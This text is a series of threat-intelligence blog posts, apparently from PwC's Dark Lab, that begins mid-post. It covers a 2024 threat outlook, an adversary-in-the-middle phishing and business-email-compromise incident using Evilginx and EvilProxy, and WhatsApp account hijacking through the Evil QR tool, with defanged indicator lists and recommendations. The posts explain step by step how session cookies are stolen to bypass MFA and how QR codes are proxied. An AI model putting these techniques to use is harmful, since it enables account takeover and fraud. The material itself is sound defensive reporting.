In an era of increasingly sophisticated cyber threats, the detection of AiTM attacks is of paramount importance. The canary-based approach presents a proactive strategy to identifying victims in AiTM attacks. By combining dynamic canary URL and behavioral analysis, organisations can enhance their security posture and protect sensitive data from falling into the wrong hands.

Canary-based approach uses triggers to create new opportunities in attack detection. The Canary URL above targets anomalies as early as the authentication process, reduces the time-to-detect duration in AiTM attack, and allows for prompt response and mitigation.

This technique has proven effective in combating phishing toolkits such as Evilginx. As cybercriminals up their game with additional Phishing-as-a-Service frameworks, we shall continuously evaluate the limitations in our detection tricks and explore additional techniques or data-centric approaches to identify anomalies.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

The 2024 Cyber Threat Landscape

Posted on by darklabhk

2023 saw threat actors relentlessly innovating and specialising to remain sophisticated in speed and scale, through the use of automation intelligence, targeting against supply chains and managed service providers, and a shifted focus to identity-based attacks. As we ushered in the new year, we expected that these threats would continue to drive the cyber threat landscape in 2024 as threat actors continuously seek to outmanoeuvre defenders. In this blog, we outline Dark Lab’s expectations of the most prevalent issues in 2024, and validate that with observations from the first quarter of incident response insights and threat intelligence investigations.

Ransomware continues to evolve as affiliates seek independence from RaaS groups, weaponize supply chains, and crowdsource efforts by specializing in tradecraft

Ransomware attacks have surged, with a 65% increase in compromised victim listings observed in 2023. There are multiple reasons for this increase, such as the rapid exploitation of new and known vulnerabilities as well as managed service providers (MSPs) becoming prime targets due to their ability to launch downstream attacks on the MSP’s clients. However, we have observed other factors such as affiliates branching out to craft their own trade through specialization (e.g., leveraging crowdsourcing to procure credentials from Initial Access Brokers) and customization of ransomware tools. This is likely compounded by law enforcement efforts to dismantle prominent RaaS operators, such as Hive[1] in early 2023 and more recently BlackCat[2] and LockBit[3].

In 1Q 2024, we responded to an incident involving Mario ESXi ransomware strain. Consistent with other ransomware actors, the threat actor strategically targeted the victim’s backup systems to maximise damage and thereby increase their chances of receiving ransom payment. We assessed that the threat actor may be working with RansomHouse Ransomware-as-a-Service (RaaS) group to publish leaked data as part of their double extortion tactics. However, we had observed that RansomHouse collaborated with other opportunistic threat actors leveraging different strains of ransomware, such as 8BASE, BianLian, and White Rabbit. This specialization allows smaller threat actors to devote their limited resources to developing custom malware strains, potentially off leaked source code of other larger RaaS groups. For example, Mario ransomware utilised leaked Babuk code to develop the .emario variant to target ESXi and .nmario to target Network Attached Storage (NAS) devices.[4][5] We anticipate new, smaller RaaS groups in 2024, and a continued increase in ransomware attack volume.

Organisations must rethink how they define vulnerabilities as threat actors now leverage different “classes” to target their victims

Organisations have made efforts to mitigate the exploitation of Common Vulnerabilities and Exposures (CVEs) through timely patching and vulnerability management. However, opportunistic threat actors have adapted their attacks by targeting different “classes” of vulnerabilities, such as misconfigurations, exposed administrative portals, or unintended disclosure of sensitive information, as opposed to phishing as the ticket of entry for their attack.

In early 2024, we responded to a Business Email Compromise (BEC) incident in which there were two “classes” of vulnerabilities. First, the production web server had been misconfigured to expose the underlying directory listing; within that directory listing contained a configuration file (.env) that included plain text credentials of various email accounts. Second, those email accounts did not enable multi-factor authentication (MFA), which allowed the threat actor to login to Microsoft 365. Traditional penetration testing exercises may overlook these vulnerability “classes”, but threat actors have adapted their reconnaissance methods to identify these means of achieving initial access. It is crucial for organisations to rethink how they define vulnerabilities and consider any weakness that can be exploited by threat actors to gain access to their environment.

At the tail end of 1Q 2024, we observed a sophisticated supply chain attack unfold, as unknown threat actors attempted to inject malicious code into an open-source library.[6] Despite its assignment of a Common Vulnerabilities and Exposures Identifier, the “vulnerability” emphasises the heightened dependency on libraries and supply chain risks associated. Not only should these vulnerability “classes” be expedited for remediation, but they should also be treated as cyber-attacks given the nature of the impact. As this vulnerability “class” cannot be addressed through preventive or detective measures, it is crucial that organisations develop proactive response plans to enhance their cyber-readiness against such attacks. This includes maintaining asset inventories and cooperating with DevSecOps to identify impacted systems and containing the incident through patching and subsequent threat hunting.

Prioritise resources on securing identity, as this is becoming the most valuable and targeted asset

While organisations strengthen their security defenses through measures like rapid vulnerability patching and MFA enablement, threat actors would explore other means to bypass heightened controls. For example, phishing attacks once focused solely on obtaining valid credentials such as username and password. As MFA become more commonplace, threat actors had to shift their targeting to steal valid, authenticated sessions cookies that proves the victim’s ongoing and authenticated session within the website. Though adversary-in-the-middle (AiTM) has been observed at least since 2022[7], the adaptation has been rapidly accelerating, compounded by the availability of Phishing-as-a-Service toolkits to lower the technical entry thresholds of cybercriminals.

In 1Q 2024, we responded to two separate BEC incidents launched within days of each other against the same victim. While we were unable to confirm if they were two separate campaigns, they both harboured similar characteristics of AiTM attacks – such as the use of rented infrastructure in abnormal geographies to conceal true identity upon login; achieving persistence through manipulating inbox rules, deleting emails, and removing email notifications to hide suspicious actions; and impersonating the user as a trusted party to execute fraudulent transactions to internal users and external parties. This demonstrates the need to adopt a more robust security baseline to secure identities, including managing devices against a compliance profile together with innovative means to detect for AiTM attacks. Please look out for our upcoming blog post would elaborate the latest BEC incidents as well as our proprietary approach to detect and respond to AiTM attacks.

Artificial Intelligence (AI) is the new hype which both attackers and defenders are looking to weaponize

The emergence of AI has led to a significant wave of interest in how it can be leveraged in cybersecurity. From a threat actor’s perspective, we have observed since mid-2023 and throughout 1Q 2024 the use of AI in the form of “automation intelligence” to reduce the time to weaponize certain “classes” of vulnerabilities. For example, we have observed through our threat intelligence investigations that threat actors are rapidly generating new social media profiles to target unsuspecting victims. While their motivation and capabilities are unclear, it is evident they are exploring and fine-tuning their standard operating procedures due to potential operational security errors (e.g., use of male pronoun for a LinkedIn profile with a female picture, likely generated from AI). In other reports, we have observed that deepfakes have been utilized for financial gain, with one Hong Kong-based incident involving a digitally recreated version of its chief financial officer ordering money transfers in a video conference call.[8] It is likely that AI would be further adapted to be misused for various motivations.

This is a call for cyber defenders to explore how to weaponize AI to keep pace with threat actors. Machine learning techniques allow AI-embedded solutions to adapt to an organisation’s environment and distinguish between normal and anomalous behavioural activity. AI also has the potential to identify abnormal activity by regular users, indicating potential impersonation attempts or credential abuse, addressing the threat of identity-based attacks. Additionally, AI is employed in investigating and responding to incidents, as seen in solutions like Microsoft Copilot for Security, enables heightened efficiency and capabilities of defenders using generative AI. It is expected that AI will continue to uplift cybersecurity professionals by automating repetitive tasks, conducting analysis, proactively identifying threats, and accelerating knowledge acquisition.

Recommendations to Secure Your 2024

Whilst there is no telling for certain how the rest of 2024 will unfold, our 2023 experiences taught us invaluable lessons on how organisations can continue to harden their cyber security posture to adapt to the ever-evolving cyber threat landscape.

  • Continuously monitor and minimise your attack surface to proactively and rectify potential security weaknesses that may expose you to external threats and improve situational awareness to prioritise improvement areas in your cyber defense strategy.
    • Regularly review your asset inventory, ensuring Internet-facing applications, exposed administrative ports, and non-production servers are intended to be publicly accessible, are appropriately configured and segmented from your internal network, and prioritised in your vulnerability and patch management process.
    • Conduct dark web monitoring, social media listening, and young domain monitoring to identify mentions or impersonation attempts of your organisation that may indicate potential intent, opportunity, or active targeting against your organisation.
    • Leverage a bug bounty program to crowdsource the expertise of ethical hackers to identify otherwise unknown vulnerabilities and security weaknesses that could otherwise expose you to potential exploitation by malicious actors.
  • Protect identities through a layered defense strategy to prevent and detect unauthorised access, impersonation, or misuse of personal information.
    • Govern and apply appropriate access controls and permissions following the principle of least privilege for all users, ensuring access is conditional and restricted only to the resources necessary to perform their job functions. This includes implementing strong authentication mechanisms such as multi-factor authentication (MFA), role-based access controls (RBAC), and continuous monitoring of user activities to detect any suspicious behaviour.
    • Establish behavioural-based detection for user activity to monitor for anomalies, tuning rules to expire tokens and disable sign ins when suspicious behaviour is detected.
    • Prioritise the protection of privileged accounts by implementing strong privileged access management (PAM) controls, such as privileged identity and session management, regular credential rotation, and monitoring of privileged user activities, to mitigate the risk of unauthorised access and potential misuse of high-level privileges.
  • Adopt a zero trust strategy, enforcing authentication and authorisation at every access point, regardless of whether it is within or outside the organisation’s network perimeter.
    • Unify and consolidate applications to streamline access controls and reduce potential attack surfaces by eliminating unnecessary or redundant applications, minimising the complexity of managing access policies, and ensuring consistent security measures across the application landscape.
    • Implemented and enforce a compliance profile across your managed devices, regardless of whether it is corporate-provisioned or bring-your-own-device (BYOD).
    • Secure DevOps environments through the implementation of zero trust principles, ensuring cybersecurity is considered at the forefront of innovation and implementation of new technologies. Ensure appropriate training is provided to DevOps professionals to build and implement securely.
    • Consider the long term goal of transforming your security architecture to follow the Secure Access Service Edge (SASE) framework to enable a flexible, scalable, more secure approach to your network security strategy.
  • Manage supply chain risks posed by third- and fourth-party vendors through robust vendor risk management and ongoing monitoring
    • Conduct thorough due diligence before engaging with a third-party vendor or partner. Perform comprehensive due diligence to assess their security practices, including their vulnerability management processes, security controls, and incident response capabilities, to ensure they align with your organisation’s risk tolerance.
    • Implement a robust vendor management program that includes regular assessments, audits, and contractual agreements that define security requirements and expectations. This program should also outline the responsibilities of both parties regarding vulnerability management, incident reporting, and remediation timelines.
    • Continuously monitor third-party systems and conduct regular vulnerability assessments to identify potential weaknesses. This includes scanning for vulnerabilities, tracking patch management, and engaging in ongoing dialogue with vendors to address any identified vulnerabilities in a timely manner and mitigate supply chain risks.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Watch Out for the Adversary-in-the-Middle: Multi-Stage AiTM Phishing and Business Email Compromise Campaign

Posted on by darklabhk

PwC’s Dark Lab recently responded to a Business Email Compromise incident, leading to the discovery of an opportunistic multi-stage Adversary-in-the-Middle campaign.

Business Email Compromise (BEC) attacks persist as one of the most popular scam strategies among opportunistic cybercriminals. BEC attacks refer to a form of social engineering whereby malicious actors attempt to defraud organisations by hacking into legitimate business email accounts and impersonating employees and third parties for direct monetary gains.

Though these attacks have existed since the dawn of the Internet, they continue to be a highly lucrative avenue for attackers given the ability to scale operations target multiple victims simultaneously at a low setup cost. Furthermore, as organisations have heavily prioritised efforts to mature their cyber postures over the last few years, we observe a significant shift away from malware towards identity-based attacks as attackers leverage valid credentials to disguise their activities. In the past few years, an increasingly common strategy is to leverage phishing toolkits to steal valid credentials as well as login sessions, bypassing multi-factor authentication (MFA).

In this two-part series, we showcase two classic Adversary-in-the-Middle (AiTM) campaigns targeting Hong Kong-based victims. In part one, we shared our technical analysis on the ongoing campaign leveraging the Evil QR tool to hijack Hong Kong and Macau-based victims’ WhatsApp accounts.[1] This blog piece provides a technical analysis on our incident response experience with a multi-stage Adversary-in-the-Middle (AiTM) phishing and BEC attack, which led to the discovery of a wide-scale, opportunistic campaign weaponising a sophisticated phishing toolkit, Evilginx and EvilProxy.  

Initial Access

The attack initiated via the delivery of a phishing email from joingreatlife[.]com, with a lure masquerading as a DocuSign notification for document review and signature.

Figure 1: Screenshot of phishing email

The phishing emails originated from the joingreatlife[.]com sender domain, which we assessed to be a legitimate business based on the WHOIS records indicating the domain was registered in 2013, and multiple linked social media accounts, including an actively updated Facebook account, and no malicious flagging by security solutions.[2],[3],[4],[5] Due to their lack of valid SPF, DKIM, or DMARC record as at the time of investigation[6], we hypothesise that the legitimate business was likely spoofed or compromised to deliver phishing emails.

Figure 2: Flagged malicious joingreatlife[.]com sub-domains

Through further review of the victim’s mailbox, it was observed that the victim was repeatedly targeted by multiple phishing emails from senders such as ‘cv@service[.]bosszhipin[.]com’ between March 2022 and June 2023. Pivoting on the email address, we discovered that cv@service[.]bosszhipin[.]com has been historically flagged for sending spam and phishing emails.[7] Consistent with observations of the joingreatlife[.]com domain, we validated the bosszhipin[.]com domain to be serving legitimate business content[8], and was likely spoofed by malicious actors as a result of the lack of valid DKIM or DMARC record.[9]

Upon clicking on the ‘Review Document’ button within the phishing email, the victim was redirected to a Ticketmaster domain (engage.ticketmaster.com) before redirecting to the actual phishing URL hosted on an online coding sandbox website (hx5g6s.codesandbox[.]io), which then further redirected the user to their phishing site hosted at IP address 134.209.186[.]170. We hypothesise that the multi-redirect approach initiated via the legitimate intermediate domains was employed to evade detection, confuse security analysis and blocking by the victim organisation’s spam filters.

Investigation into 134.209.186[.]170 revealed the IP address to be flagged as malicious and reported in multiple occasions in July 2023.[10] Furthermore, the same IP address (134.209.186[.]170) was noted to be historically hosting a phishing site resembling a OAuth-based login portal – a matching indicators of a credentials- or session-harvesting site leveraging the AiTM attack.[11]

Figure 3: 134.209.186[.]170 flagged malicious, hosting OAuth phishing site

The phishing site served as a proxy between the victim and the legitimate Microsoft login page. As the victim performed a legitimate login with multi-factor authentication (MFA), the attacker operated as an adversary-in-the-middle, using the captured OAuth access token to bypass MFA and obtain the victim’s valid logon session, resulting in a successful impersonation with the victim’s identity to the legitimate resources on M365, including Outlook, SharePoint, or other applications as accessible by the victim.[12]

Persistence and Defense Evasion

Subsequent to logging into the victim’s mailbox, the attacker (85.209.176[.]200) registered a new MFA authentication method and attempted to access the victim’s mailbox via a legitimate, external application (PerfectData Software) to establish persistent access. To maintain stealth, the attacker (147.124.209[.]237) modified mailbox rules to reroute emails to the victim’s RSS Subscriptions folder, altered email folder arrangements, and accessed two SharePoint files. As observed at each stage of their attack,  the threat actor was logged using a different IP address  for each activity to conceal their identity and location, and further evade detection.

Impact

Leveraging the compromised email account, the attacker (104.254.90[.]195) impersonated the victim’s identity to send two phishing emails. The first email was sent to an external contact, containing no contents. The second email was sent to an internal employee containing a fraudulent transaction invoice attachment, indicating an attempt to facilitate unauthorised fund transfers. At this stage, the victim organisation detected and blocked the fraudulent fund request attempt and proceeded to conduct containment measures to reset the compromised credentials and revoke the unauthorised login sessions. Based on our observations, we assessed that the malicious actor conducted the AiTM attack to perform the email account takeover for financially-motivated intent.

Uncovering the wide-scale AiTM campaign

Pivoting on the phishing email subject title “Completed: Complete Doc viaSign: #2,” we identified over 50 files uploaded between 3 July and 18 July 2023[13] which contained redirects to the same embedded URL (http://links[.]engage[.]ticketmaster[.]com). Paired with the observed existence of the phishing email structure since December 2021, this indicated that the victim was phished as a part of an ongoing opportunistic campaign which researchers have reported as a multi-stage AiTM phishing and business email compromise (BEC) campaign.

Potential Use of the Caffeine Phishing Toolkit

Pivoting on the malicious link, we assessed that the link was likely launched from a phishing toolkit to steal valid sessions. We observed that the malicious link leveraged the Ticketmaster domain to obfuscate the malicious payload to bypass mail detection rules and deliver malicious payloads via browser redirects to codesandbox.io.[14] Further  pivoting on the Ticketmaster domain, we observed potential relations to a Phishing-as-a-Service (PhaaS) platform “Caffeine”, which provides subscribers phishing email templates with legitimate URLs to contain malicious payloads that operate to steal credentials (e.g. passwords, session tokens) through third-party sites such as codesandbox.io to evade detection.[15] [16] This is consistent with the observations in this phishing campaign and corresponding telemetry, as evidenced in Figure 4.

Figure 4: Phishing email redirects leveraging legitimate services to redirect to payloads hosted on codesandbox.io

Weaponising Evilginx and EvilProxy

Through deeper inspection, we discovered that the IP (134.209.186[.]170) address associated with the attackers were involved with several other phishing submissions submitted by other users. These submissions revealed that the domains used by the attackers serve pages that are consistent with our observed victim’s sessions stealing activities. The user emails passed in the web request were also observed to be consistent with other relevant schemes. Through these observations, we assessed with high confidence that the threat actors leveraged Evilginx and EvilProxy as a means to bypass two-factor authentication (2FA) and that these session stealing methods were the initial foothold that enabled the threat actor to gain access to the victim’s corporate resources.

Evilginx is an advanced AiTM attack framework capable of bypassing 2FA and intercepting legitimate session cookies.[17] This is a significant capability for attackers who can consequently conduct their phishing campaigns without capturing credentials, as attackers can impersonate victims without password knowledge to gain unauthorised access.

EvilProxy is a Phishing-as-a-Service (PhaaS) toolkit operating as a powerful proxy tool, redirecting victims’ web traffic through attacker-controlled servers.[18] The tool enables attackers to not only capture login credentials but also manipulate web content in real-time, presenting victims with malicious payloads or further deceptive content.

Conclusion

Based on our findings, we assessed with high confidence that the victim was compromised as part of a wide-scale, opportunistic social engineering campaign utilising Evilginx and EvilProxy to bypass MFA and subsequently perform a BEC attack via internal spear phishing. Due to the lack of information and reporting on the specific IOCs collected during the incident, and the use of widely adopted techniques and toolkits, we did not derive conclusive evidence to ascertain the specific threat actor responsible for the attack.

The two campaigns explored in this two-part blog series are just two of the many case studies supporting our observations that the cyber threat landscape is rapidly evolving, with threat actors increasingly shifting towards-identity based attacks. As organisations worldwide have prioritised efforts to harden their cybersecurity posture, we observe threat actors adapt by weaponising valid credentials to bypass defences under the guise of trusted identities. Furthermore, in both cases, we observed that threat actors are not only targeting passwords, but valid sessions to maintain persistent, elusive access to victim environments.

Whilst identity-based attacks are by no means novel, they continue to pose a significant threat to organisations given the complexity of distinguishing between legitimate and malicious use of authorised access. To effectively protect against identity-based attacks, it is vital that organisations and individuals enforce a layered defence strategy combining robust preventative measures with behavioural-based detection.  

Join us on November 7 2023 for PwC’s annual Hack A Day Conference: Register Here

Recommendations

Preventive

  • Implement sender authentication measures including Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM) and Domain-based Message Authentication (DMARC) to reduce susceptibility to phishing and spoofing attacks.
  • Review existing Microsoft 365 configuration and update their security solutions and network devices (including external firewall, web proxies). For example, enforcing spam filters configurations to ensure all inbound emails are processed by spam filtering policies prior to delivery, reviewing email forwarding rules to identify any potential external malicious email forwarding, and restricting O365 access via geo-fencing to prevent authorised access or account brute-force over O365.
  • While this incident highlighted how threat actors can potentially bypass multi-factor authentication (MFA), MFA remains a critical layer of protection against credential-abuse attacks. Best practices include:
    • Ensuring MFA solutions restrict the number of failed authentication attempts, login attempts are monitored and alerted for anomalous activity, and enforcing strong password policy requirements.
    • Leveraging features such as conditional access to setup session timeouts or block sign-ins from illegitimate access to the resources by third party devices, or overseas where applicable, in combination with features such as Mobile Device Management (MDM).
  • Enhance business security controls by establishing procedures for financial transactions and their respective handling procedures. For example, automatic bank notifications for outbound transaction verifications and mandatory out-of-band verifications of bank account changes.
  • Regularly conduct user awareness training to educate employees on the latest social engineering techniques deployed, indicators to identify potentially malicious activity, and process for reporting suspicious activity.
  • Organisations should conduct young domain monitoring to proactively uncover potential phishing campaigns targeting, or likely to target, your organisation.

Detective

  • Monitor user account activity for email forwarding, excessive document downloads or deletions and excessive file sharing. Depending on the user (e.g. users operating within functions more likely to be targeted in phishing attacks, such as HR, Finance, C-Suite personnel), setup monitoring for specific activities, such as monitoring for the creation of mail rules that involve moving to folders to RSS.
  • Establish behavioural-based detection rules that will expire tokens and disable sign in when suspicious account behaviour is detected. Indicators of suspicious behaviour could include access from abnormal geolocations and accessing servers not typically accessed by the user identity. Further, leverage features such as “risky sign-in” to receive notifications of suspicious authentication attempts and respond in-time to threats.
  • We further advise organisations to establish an O365 mailbox rule to detect and block inbound/outbound traffic from the malicious IPs listed in our Indicators of Compromise (IoC) section.

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques from the campaign:

  • T1589.002 – Gather Victim Identity Information: Email Addresses Resource Development
  • T1584.004 – Compromise Infrastructure: Server
  • T1588.002 – Obtain Capabilities: Tool
  • T1566.002 – Phishing: Spear Phishing Link
  • T1189 – Drive-by Compromise
  • T1204.001 – User Execution: Malicious Link
  • T1098.005 – Account Manipulation: Device Registration

Indicators of Compromise (IoCs)

We include the observed IoCs:

IoCTypeDescription
brad.hansen[@]joingreatlife[.]comEmail SenderEmail Sender of phishing email
Completed: Complete Doc viaSign: #2Email SenderEmail Sender of phishing email
hx5g6s.codesandbox[.]ioDomainOnline coding sandbox website
lmo-halbacea.halbacea[.]comDomainDomain associated with phishing web server
lmolmoworked-inc-docs-signedservices.remmellsp.]comDomainDomain associated with phishing web server
134.209.186[.]170IP AddressIP Address of OAuth phishing web server, threat actor logon
85.209.176[.]200IP AddressIP Address of threat actor logon, deliver phishing email, register Authenticator App and attempt to connection to external application “PerfectData Software”
147.124.209[.]237IP AddressIP Address of threat actor logon, create new inbox rule
51.195.198[.]33IP AddressIP Address of threat actor logon, access SharePoint files
104.254.90[.]195IP AddressIP Address of threat actor logon, deliver phishing email, create new inbox rule

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Watch Out for the Adversary-in-the-Middle: WhatsApp QR Code Hijacking Targets Hong Kong and Macau Consumers

Posted on by darklabhk

PwC’s Dark Lab investigates the local WhatsApp account hijacking attacks, uncovering multiple campaigns targeting Hong Kong and Macau consumers.

Over the last few months, the community has seen a surge in attacks against individuals’ collaboration and communication applications that offers the use of mobile devices as a means of authentication. By taking over accounts on such platforms through means such as phishing, threat actors can easily gain access to personal or event-sensitive information shared across such platforms or carry out attempts to defraud legitimate business partners or contacts of individuals.

In this two-part series, we showcase two classic Adversary-in-the-Middle (AiTM) campaigns targeting Hong Kong-based victims. This blog piece provides a technical analysis and actionable steps to protect yourself against the ongoing campaign leveraging the Evil QR toolkit to hijack WhatsApp accounts locally.

Stay tuned for part two, as we share our incident response experience with a multi-stage AiTM phishing and business email compromise (BEC) attack weaponizing Evilginx and EvilProxy, leading to our discovery of the wide-scale, opportunistic campaign.

WhatsApp QR Code Hijacking Targets Hong Kong and Macau Consumers

In October 2023, we observed multiple reports of WhatsApp account hijacking cases impacting Hong Kong- and Macau-based victims. Upon successful account takeover, malicious actors have been observed to impersonate the owners of the compromised WhatsApp accounts, contacting the victim’s WhatsApp contacts to request fund transfers under the guise of their trusted relationship. Breaking down the attack, we observe that the Evil QR tool was deployed to facilitate the WhatsApp account takeovers, targeting unsuspecting victim.

Understanding how Evil QR works

Evil QR, first reported in July 2023, is a browser extension that enables attackers to exploit legitimate QR codes to intercept and steal their cookie session, providing access to the victim’s account.[1]

How Evil QR operates[2]:

  • The attacker open the legitimate WhatsApp Web login page (https://web.whatsapp.com/).
  • The attacker enables the Evil QR browser extension, which  extracts the legitimate QR code from WhatsApp Web and proxies it to the Evil QR server, which hosts the attacker’s phishing page.
  • The attacker’s phishing page dynamically displays the latest QR code extracted from the WhatsApp Web login page.
  • When the unsuspecting victim visits the phishing page impersonating WhatsApp Web login and scans the QR code, the attacker successfully obtains access to the victim’s WhatsApp account.
  • Due to proxying, the victim will be unaware of the existence of these sessions, unless they manually check their WhatsApp settings (Settings > Linked Devices).

Figure 1: Attack path for WhatsApp account takeover using Evil QR

Weaponization of Evil QR by malicious actors

Due to the relatively simple setup of the QR code and phishing site using Evil QR, it is a highly lucrative and incentivising means for attackers to obtain access to sensitive information and perform malicious activities, as reflected in the recent surge of attacks against collaboration and communication applications.

We observe search results on Google, which indicate dedicated efforts to promote phishing sites impersonating WhatsApp to defraud unsuspecting victims. Search engine optimisation (SEO) poisoning is a technique commonly deployed by threat actors to improve the ranking of their malicious websites on search engine result pages.[3]

To improve the SEO ranking of their phishing site and deceive unsuspecting visitors of their ‘legitimacy’, threat actors may deploy an array of techniques, such as keyword stuffing, whereby threat actors overload their phishing sites with keywords in a repetitive manner to manipulate search engine rankings to assess their website has relevant content. Another common technique is typosquatting, whereby threat actors capitalise on human error by registering domains with variations of potential spelling errors, that could accidentally be typed (“typo”) by unsuspecting users (e.g. watsap web). Further, attackers commonly abuse sponsored listings and advertisements to direct users to their phishing sites.

Figure 2: Search results for the typo ‘watsapp web’

Referencing the first sponsored search result, ws6.whmejjp[.]com, we observe the domain to be actively impersonating the WhatsApp Web login webpage.

Figure 3: Screenshot of ws6.whmejjp[.]com as of 19 October 2023

Pivoting on structurally similar websites, we observe the host IP (2a06:98c1:3121:[:]3) hosting over 10,000 domains with a similar HTML structure. Based on the newly registered domains associated with the host IP, we observed multiple typosquatted domains targeting users of various gaming and communications platforms, such as Twitch, Steam, Valorant, and Telegram. 

Referencing public reports of the ongoing attacks against Hong Kong consumers[4], we pivoted on the waacad[.]cyou domain which continues to display a WhatsApp Web login page.

Figure 4: Screenshot of waacad[.]cyou as of 19 October 2023

Analysing the host IP (103.71.152[.]102) for waacad[.]cyou, we observe it to be serving 14 newly registered domains within the last month starting from 22 September 2023. The domains were observed follow a similar domain naming convention, all displaying an identical WhatsApp Web phishing page.

Figure 5: Newly registered domains hosted by 103.71.152[.]102 [5]

Through further investigation of 103.71.152[.]102, we observed multiple domains created between 27 August and 1 September 2023, which appear to impersonate Sands casino. Based on observations that 103.71.152[.]102 and multiple of its hosted domains have been flagged as malicious for phishing, consistent naming conventions, contents of the WhatsApp Web phishing pages written in Chinese, and the ongoing suspected phishing campaign impersonating Sands, we assess with high confidence that the threat actor is conducted an ongoing, targeted phishing campaign against Hong Kong and Macau citizens.

Potential impact upon successful WhatsApp account takeover

Upon a successful WhatsApp account takeover, the attacker has full access to the user’s conversations and contact list. In the ongoing campaign targeting Hong Kong users, we observe the primary goal to be victim impersonation to request fund transfers from unsuspecting people who would typically trust the victim, including family, loved ones, and friends.

Figure 6: Sample of fraudulent fund transfer request via WhatsApp

Further, attackers may scan the victim’s conversation for sensitive information, such as personally identifiable information (“PII”) and shared passwords, depending on what sensitive information has been disclosed by the individual to other parties. In addition, the attacker could further leverage the account to send phishing links (“smishing”) to the victim’s contacts, to perform additional credential theft activities.

Conclusion

PwC’s Dark Lab observes that Hong Kong and Macau are being actively targeted by multiple opportunistic phishing campaigns. We strongly encourage citizens to exercise caution and awareness when interacting with untrusted sources. Refer to our recommendations below for general best practices and advice on how to detect and respond to a potential WhatsApp account takeover.

We continue to observe the cyber threat landscape evolve, with threat actors increasingly shift towards identity-based attacks not only weaponizing passwords, but sessions to maintain persistent access to compromised accounts. Stay tuned for part two, as we share key learnings from a recent incident response case involving a multi-stage AiTM phishing and business email compromise (BEC) attack.

Join us on November 7 2023 for PwC’s annual Hack A Day Conference: Register Here

Recommendations

How to detect if you are visiting a phishing website impersonating WhatsApp Web:

  • When searching for “WhatsApp Web” or any other website, avoid sponsored links and double check before clicking on a link for any spelling errors which could indicate it is a typosquatted (phishing) domain.
  • When visiting the website, while the website may appear similar to the legitimate domain, look out for the slight differences.

For example, if we compare the legitimate WhatsApp Web domain (web.whatsapp.com) with the malicious domain (waacad[.]cyou), we notice four (4) differentiators:

  1. If you were to check the URL of the phishing page, you would immediately notice it is suspicious and unlikely to be the actual WhatsApp login page.
  2. On the legitimate webpage, the WhatsApp logo and name exists, which is not observed on the malicious page.
  3. The instruction wordings differ.
  4. The legitimate webpage has a ‘Tutorial’ section with advice on ‘how to get started’. It should be noted that whilst this phishing domain does not display this section, other more convincing phishing sites could include this section to further deceive you into trusting their phishing site is legitimate.

How to check and respond if you suspect your WhatsApp account has been compromised:

1. Check and log out any unauthorised devices:

  • In WhatsApp, check if any unauthorised devices are logged in (Settings > Linked Devices).
  • For any suspicious or unknown logins, tap the device to log out. This will remove their access to your account.

2. Perform additional checks to identify any potential activities performed by the malicious actor during their access to your account:

  • Check archived messages to see if any conversations were archived by the malicious actor.
  • Check if any messages have been sent or deleted in the chat without your knowledge.
  • Check if any voice recordings or files were shared to your contacts.

3. Inform any of your contacts if they have been contacted by the malicious actor.

Whether your contact unknowingly sent money or not, it is important to notify them that they were communicating with the malicious actor and not you so they can remain aware and exercise caution when receiving unusual or suspicious messages from you or other contacts.

General Best Practices

Visiting websites:

  • Check links before clicking to validate their legitimacy (e.g. spelling errors) and always remain wary of the legitimacy of webpages and their branding.
  • Access websites via the global webpage as opposed to the URL shortened link if in doubt.
  • If you accidentally visit a phishing site,
    • Do not click on any links and double check your device to see if any files were downloaded.
    • If any files were downloaded, do not open it. Delete the file immediately and clear your recycling bin.
  • If you believe you may have fallen victim to a phishing attack,
    • Monitor your email’s “sent” folder to identify any unauthorised emails that have been issued from your account. If any, alert the receiver as well as your wider contact list that you may have fallen victim to a phishing attack, so they can be on alert that incoming messages from your account may not be legitimate.
    • Perform a password reset, enable multi-factor authentication (MFA), and report the suspected phishing activity immediately to your credit card issuers (and organisation if accessed the site through your work device) to monitor and restrict potentially suspicious activity.

Communication platforms:

  • If you have received a suspicious or unusual message from your contact requesting funds or sensitive information, exercise caution to determine if the request is legitimate. Potential signs that your contact has been compromised could include:
    • Unusual nature of the request – e.g. your contact asking you to urgently send money
    • Deviating from their normal typing or speaking pattern – if their message does not sound like them – it might not be them!
    • Often times, malicious actors use artificial intelligence (“AI”) to generate messages, which may sound robotic or unnatural in nature. For voice messages, malicious actors may alter the AI-generated message (e.g. speeding it up or adding background noise) to attempt to make the voice message seem less robotic.
    • Do not disclose sensitive information via WhatsApp or other communication channels. Whilst these channels may be encrypted, we continue to observe malicious actors attempting to perform account takeovers, granting them with full access to compromised users’ accounts.

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques from the campaign:

  • T1583.001 – Acquire Infrastructure: Domains
  • T1583.008 – Malvertising
  • T1586 – Compromise Accounts
  • T1608.006 – Stage Capabilities: SEO Poisoning
  • T1566 – Phishing
  • T1189 – Drive-by Compromise

Indicators of Compromise (IoCs)

We include the observed IoCs:

IOCType
clooe[.]cyouWhatsApp phishing site
kkgee[.]icuWhatsApp phishing site
waacad[.]cyouWhatsApp phishing site
www[.]waacad[.]cyouWhatsApp phishing site
clooeapp[.]cyouWhatsApp phishing site
kkgegroup[.]icuWhatsApp phishing site
bbhes[.]cyouWhatsApp phishing site
gooe8[.]cyouWhatsApp phishing site
xxeez[.]icuWhatsApp phishing site
gooer[.]icuWhatsApp phishing site
waacad[.]icuWhatsApp phishing site
weeae[.]icuWhatsApp phishing site
weeaet[.]cyouWhatsApp phishing site
wyyadinc[.]icuWhatsApp phishing site
bbyaysc[.]cyouWhatsApp phishing site
5565m[.]vipPotential Sands phishing site – not flagged malicious
5565k[.]vipPotential Sands phishing site – not flagged malicious
5565v[.]vipPotential Sands phishing site – not flagged malicious
5565f[.]vipPotential Sands phishing site – not flagged malicious
5565t[.]vipPotential Sands phishing site – not flagged malicious
5565z[.]vipPotential Sands phishing site – not flagged malicious
5565c[.]vipPotential Sands phishing site – not flagged malicious
5565r[.]vipPotential Sands phishing site – not flagged malicious
5565i[.]vipPotential Sands phishing site – not flagged malicious
5565a[.]vipPotential Sands phishing site – not flagged malicious
5565p[.]vipPotential Sands phishing site – not flagged malicious
